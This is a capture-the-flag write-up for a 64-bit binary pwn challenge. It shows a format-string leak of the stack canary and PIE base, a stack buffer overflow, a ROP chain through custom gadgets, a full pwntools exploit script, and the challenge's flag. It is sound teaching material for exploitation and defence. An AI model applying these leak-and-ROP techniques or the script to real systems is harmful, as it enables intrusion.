Challenge Name: CS 12.06
Category: PWN
CTF: MOJO-JOJO
Description: XIIVI ONCE SAID “IINEK DIMA AL HOLILA”
Connection: nc mojo-pwn.securinets.tn 9006
Challenge Overview#
The challenge presents a binary with multiple security mechanisms enabled (PIE, Stack Canary, NX) that requires bypassing authentication to access a hidden function that reads and exfiltrates a flag.
Initial Analysis#
Binary Information#
$ file challenge
challenge: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, not stripped
$ checksec challenge
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Program Behavior#
--- CS 12.06 ---
Security Level: MAXIMUM
[LOG] Initializing secure logging sequence...
[LOG] Identity verification required:
[LOG] Identity confirmed:
[GATE] Physical authentication barrier active.
[GATE] Provide phrase:
[GATE] Authentication failed. Terminating session.
[SYSTEM] System shutdown.
Vulnerability Discovery#
1. Format String Vulnerability in _log_handler#
Disassembling the _log_handler function revealed a format string vulnerability:
1523: mov 0x2b66(%rip),%rdx # stdin
152a: lea -0x20(%rbp),%rax # user input buffer
152e: mov $0x14,%esi # read 20 bytes max
1533: mov %rax,%rdi
1536: call fgets@plt
1554: lea -0x20(%rbp),%rax # our input
1558: mov %rax,%rdi
155b: mov $0x0,%eax
1560: call printf@plt # VULNERABLE: printf(user_input)
The identity field input is passed directly to printf(), allowing us to leak stack values using format string specifiers.
Testing the vulnerability:
$ echo -e "%p.%p.%p.%p\ntest" | ./challenge
[LOG] Identity confirmed: 0x7ffd6ebdde10.(nil).(nil).0x7ffd6ebdde90
2. Buffer Overflow in _auth_guard#
The _auth_guard function has a classic buffer overflow:
1580: sub $0x30,%rsp # Allocate 48 bytes (0x30)
15b6: lea -0x30(%rbp),%rax # Buffer at rbp-0x30
15ba: mov $0x100,%edx # Read 256 bytes (0x100) - OVERFLOW!
15bf: mov %rax,%rsi
15c2: mov $0x0,%edi
15c7: call read@plt
The buffer is 48 bytes but read() accepts up to 256 bytes, allowing us to overflow the stack.
3. Hidden Function: _sys_maintenance#
The binary contains a hidden function _sys_maintenance at offset 0x11e9 that:
- Checks three arguments:
rdi=0x1206,rsi=0x1161,rdx=0xcafebab - Decodes a filename by XORing bytes
- Opens and reads the flag file
- Prints the flag
1230: cmpq $0x1206,-0xb8(%rbp) # Check arg1
123d: cmpq $0x1161,-0xc0(%rbp) # Check arg2
124a: cmpq $0xcafebab,-0xc8(%rbp) # Check arg3
1255: je 0x128e # All match? Continue to flag
4. Useful ROP Gadgets#
Two special gadgets were discovered:
_proc_ctx (0x1482):
pop rbx
pop rbp
pop r12
pop r13
mov r14,QWORD PTR [rsp] # Load r14 from stack
add rsp,0x8
mov r15,QWORD PTR [rsp] # Load r15 from stack
add rsp,0x8
ret
_proc_ctx_2 (0x149b):
mov rdx,r14 # arg3
mov rsi,r13 # arg2
mov edi,r12d # arg1
xor rbx,0x1337
call QWORD PTR [r15+rbx*8] # Indirect call
ret
These gadgets allow us to:
- Load controlled values into registers
- Call any function with three arguments
Exploitation Strategy#
Step 1: Leak Stack Canary and PIE Base#
Using the format string vulnerability, we leak:
- Offset 17: Stack canary (always ends in
0x00) - Offset 23: A code address (ending in
0x5f2, which is themainfunction at0x15f2)
leak_payload = b'%17$p.%23$p'
# Example output: 0x316b452acebc5900.0x5be510e9a5f2
From the leaked code address, we calculate the PIE base:
pie_base = (leaked_addr - 0x15f2) & ~0xfff
Step 2: Build ROP Chain#
The stack layout in _auth_guard:
rbp-0x30: buffer start (48 bytes)
rbp-0x08: canary (8 bytes)
rbp+0x00: saved rbp (8 bytes)
rbp+0x08: return address
Our ROP chain:
payload = b'A' * 40 # Fill buffer to canary
payload += p64(canary) # Preserve canary to bypass check
payload += b'B' * 8 # Saved RBP (doesn't matter)
# ROP chain
payload += p64(proc_ctx_addr) # Return to _proc_ctx
payload += p64(0x1337) # rbx (will XOR to 0)
payload += p64(0) # rbp (dummy)
payload += p64(0x1206) # r12 -> edi (arg1)
payload += p64(0x1161) # r13 -> rsi (arg2)
payload += p64(0xcafebab) # r14 -> rdx (arg3)
payload += p64(k_dispatch_table) # r15 (function table base)
payload += p64(proc_ctx_2_addr) # Return address
Step 3: Trigger Exploitation#
When _proc_ctx_2 executes:
- It moves our controlled values into argument registers
- XORs
rbx(0x1337) with 0x1337 = 0 - Calls
[r15 + 0*8]=[k_dispatch_table]which points to_sys_maintenance _sys_maintenancereceives the correct arguments and reads the flag
Exploit Code#
#!/usr/bin/env python3
from pwn import *
HOST = 'mojo-pwn.securinets.tn'
PORT = 9006
context.binary = elf = ELF('./challenge')
context.arch = 'amd64'
# Offsets (PIE-relative)
proc_ctx = 0x1482
proc_ctx_2 = 0x149b
sys_maintenance = 0x11e9
k_dispatch_table_offset = 0x40b0
# Required arguments for _sys_maintenance
arg1 = 0x1206
arg2 = 0x1161
arg3 = 0xcafebab
def exploit():
io = remote(HOST, PORT)
# Leak canary and code address
io.recvuntil(b'Identity verification required: ')
leak_payload = b'%17$p.%23$p'
io.sendline(leak_payload)
io.recvuntil(b'Identity confirmed: ')
leaks = io.recvline().strip().decode().split('.')
canary = int(leaks[0], 16)
leaked_addr = int(leaks[1], 16)
pie_base = (leaked_addr - 0x15f2) & ~0xfff
log.success(f"Canary: {hex(canary)}")
log.success(f"PIE base: {hex(pie_base)}")
# Calculate addresses
proc_ctx_addr = pie_base + proc_ctx
proc_ctx_2_addr = pie_base + proc_ctx_2
k_dispatch_table_addr = pie_base + k_dispatch_table_offset
# Build ROP chain
io.recvuntil(b'Provide phrase: ')
payload = b'A' * 40
payload += p64(canary)
payload += b'B' * 8
payload += p64(proc_ctx_addr)
payload += p64(0x1337)
payload += p64(0)
payload += p64(arg1)
payload += p64(arg2)
payload += p64(arg3)
payload += p64(k_dispatch_table_addr)
payload += p64(proc_ctx_2_addr)
io.send(payload)
io.interactive()
if __name__ == '__main__':
exploit()
Result#
[SYSTEM] Quantum Vector Alignment Confirmed.
[SYSTEM] Bypassing security kernels... Initiating Core Dump...
>>> DATA EXFILTRATED:MOJO-JOJO{12.06_TNAJEM_TKOUL_EL_COMEBACKSZN}
[SYSTEM] Session terminated safely.
Final Flag#
MOJO-JOJO{12.06_TNAJEM_TKOUL_EL_COMEBACKSZN}
Key Takeaways#
- Format String + Buffer Overflow: Chaining vulnerabilities - use format string to leak necessary values, then exploit buffer overflow
- Canary Bypass: Stack canaries can be bypassed if we can leak them
- PIE Bypass: Leaking a single code address allows calculating the base address
- Custom ROP Gadgets: The challenge provided custom gadgets designed for setting up function calls
- Defense in Depth: Multiple protections (PIE, canary, NX) require multiple bypass techniques





